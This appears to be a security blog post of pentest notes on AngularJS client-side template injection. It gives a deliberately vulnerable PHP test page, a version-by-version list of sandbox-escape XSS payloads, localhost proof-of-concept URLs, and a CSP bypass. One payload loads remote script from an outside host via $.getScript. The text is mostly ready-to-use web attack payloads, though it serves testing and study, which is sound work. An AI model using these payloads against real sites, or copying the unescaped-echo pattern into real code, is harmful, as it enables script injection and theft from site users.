首页 » NetworkSec » Penetration » 正文

client side template injection with angulajs cause xss

I often meet angulajs when I test website,so I want to make a note.

<html ng-app>
<head>
<script src="./angular.js"></script>
</head>
<body>
<p>
<?php
$q = $_GET['q'];
 
//echo $q;
 
echo htmlspecialchars($q, ENT_QUOTES);
?>
</p>   
</body>
</html>

 

POC

{{$id}} or {{1+1}}

POC:
http://127.0.0.1:8999/lsawebtest/vulenv/misc/angular-xss/test.php?q={{%27a%27.constructor.prototype.charAt=[].join;$eval(%27x=1}%20}%20};alert(0)//%27);}}

//If you are interested in it,you can research how to bypass the sandbox.

 

Tow cases:

https://www.freebuf.com/vuls/125932.html

http://www.secevery.com:4321/bugs/wooyun-2016-0190247

 

List of Sandbox bypasses from portswigger

1.0.1 – 1.1.5

Mario Heiderich (Cure53)

{{constructor.constructor(‘alert(1)’)()}}

 

1.2.0 – 1.2.1

Jan Horn (Google)

{{a=’constructor’;b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,’alert(1)’)()}}

 

1.2.2 – 1.2.5

Gareth Heyes (PortSwigger)

{{‘a'[{toString:[].join,length:1,0:’__proto__’}].charAt=”.valueOf;$eval(“x='”+(y=’if(!window\\u002ex)alert(window\\u002ex=1)’)+eval(y)+”‘”);}}

 

1.2.6 – 1.2.18

Jan Horn (Google)

{{(_=”.sub).call.call({}[$=’constructor’].getOwnPropertyDescriptor(_.__proto__,$).value,0,’alert(1)’)()}}

 

1.2.19 – 1.2.23

Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;[“a”,”alert(1)”].sort(toString.constructor);}}

 

1.2.24 – 1.2.29

Gareth Heyes (PortSwigger)

{{‘a’.constructor.prototype.charAt=”.valueOf;$eval(“x=’\”+(y=’if(!window\\u002ex)alert(window\\u002ex=1)’)+eval(y)+\”‘”);}}

 

1.3.0

Gábor Molnár (Google)

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(”+”.toString(
‘F = Function.prototype;’ +
‘F.apply = F.a;’ +
‘delete F.a;’ +
‘delete F.valueOf;’ +
‘alert(1);’
))
);}}

 

1.3.1 – 1.3.2

Gareth Heyes (PortSwigger)

{{
{}[{toString:[].join,length:1,0:’__proto__’}].assign=[].join;
‘a’.constructor.prototype.charAt=”.valueOf;
$eval(‘x=alert(1)//’);
}}

 

1.3.3 – 1.3.18

Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:’__proto__’}].assign=[].join;

‘a’.constructor.prototype.charAt=[].join;
$eval(‘x=alert(1)//’); }}

 

1.3.19

Gareth Heyes (PortSwigger)

{{
‘a'[{toString:false,valueOf:[].join,length:1,0:’__proto__’}].charAt=[].join;
$eval(‘x=alert(1)//’);
}}

 

1.3.20

Gareth Heyes (PortSwigger)

{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=alert(1)’);}}

 

1.4.0 – 1.4.9

Gareth Heyes (PortSwigger)

{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} } };alert(1)//’);}}

 

1.5.0 – 1.5.8

Ian Hickey

{{x = {‘y’:”.constructor.prototype}; x[‘y’].charAt=[].join;$eval(‘x=alert(1)’);}}

Or

{{x = {‘y’:”.constructor.prototype};x[‘y’].charAt=[].join;$eval(‘x=$.getScript(`https://xss.com/external-alert.js`)’);}}`

 

1.5.9 – 1.5.11

Jan Horn (Google)

{{
c=”.sub.call;b=”.sub.bind;a=”.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync(”
astNode=pop();astNode.type=’UnaryExpression’;
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+’;
astNode.argument={type:’Identifier’,name:’foo’};
“);
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=”.sub;
$eval(‘a(b.c)’);[].push.apply=a;
}}

 

>=1.6.0

Mario Heiderich (Cure53)

{{constructor.constructor(‘alert(1)’)()}}

 

Other poc from a blog(I did not find the URL,sorry……)

v1.2.24-v1.2.26

 

v1.2.27-v1.2.29/v1.3.0-v1.3.20

http://127.0.0.1/test/xss/angular.php?q={{ {}.”)));alert(1)//”; }}

Work on v1.2.20-v1.2.32/v1.3.0-v1.3.20.

 

v1.4.0-v1.4.5(only chrome)

http://127.0.0.1/test/xss/angular.php?q={{ o={};l=o[[‘__lookupGetter__’]];(l=l)(‘event’)().target.defaultView.location=’javascript:alert(1)’; }}

 

v1.4.5-1.5.8 (only chrome)

http://127.0.0.1/test/xss/angular.php?q={{ x={y:”.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:’x=alert(1)’ }}

 

v1.6.0-1.6.6

a operation from xianzi xss challage:

http://127.0.0.1/test/xss/angular.php?q={{ [].pop.constructor(‘alert(1)’)() }}

 

csp bypass (only chrome v1.4.0-v1.6.6)

<html ng-app><head>
    <?php
        header("Content-Security-Policy:default-src 'self';script-src code.angularjs.org 'self'");
    ?>
    <script src="https://code.angularjs.org/{version}/angular.min.js"></script></head><body>
    <p>
    <?php
        echo $_GET['q'];
    ?></p>   </body></html>

http://127.0.0.1/test/xss/angular.php?q=<input+autofocus ng-focus=”$event.path|orderBy:’!x?[].constructor.from([x=1],alert):0′”>

 

Reference:
https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs

 

Comment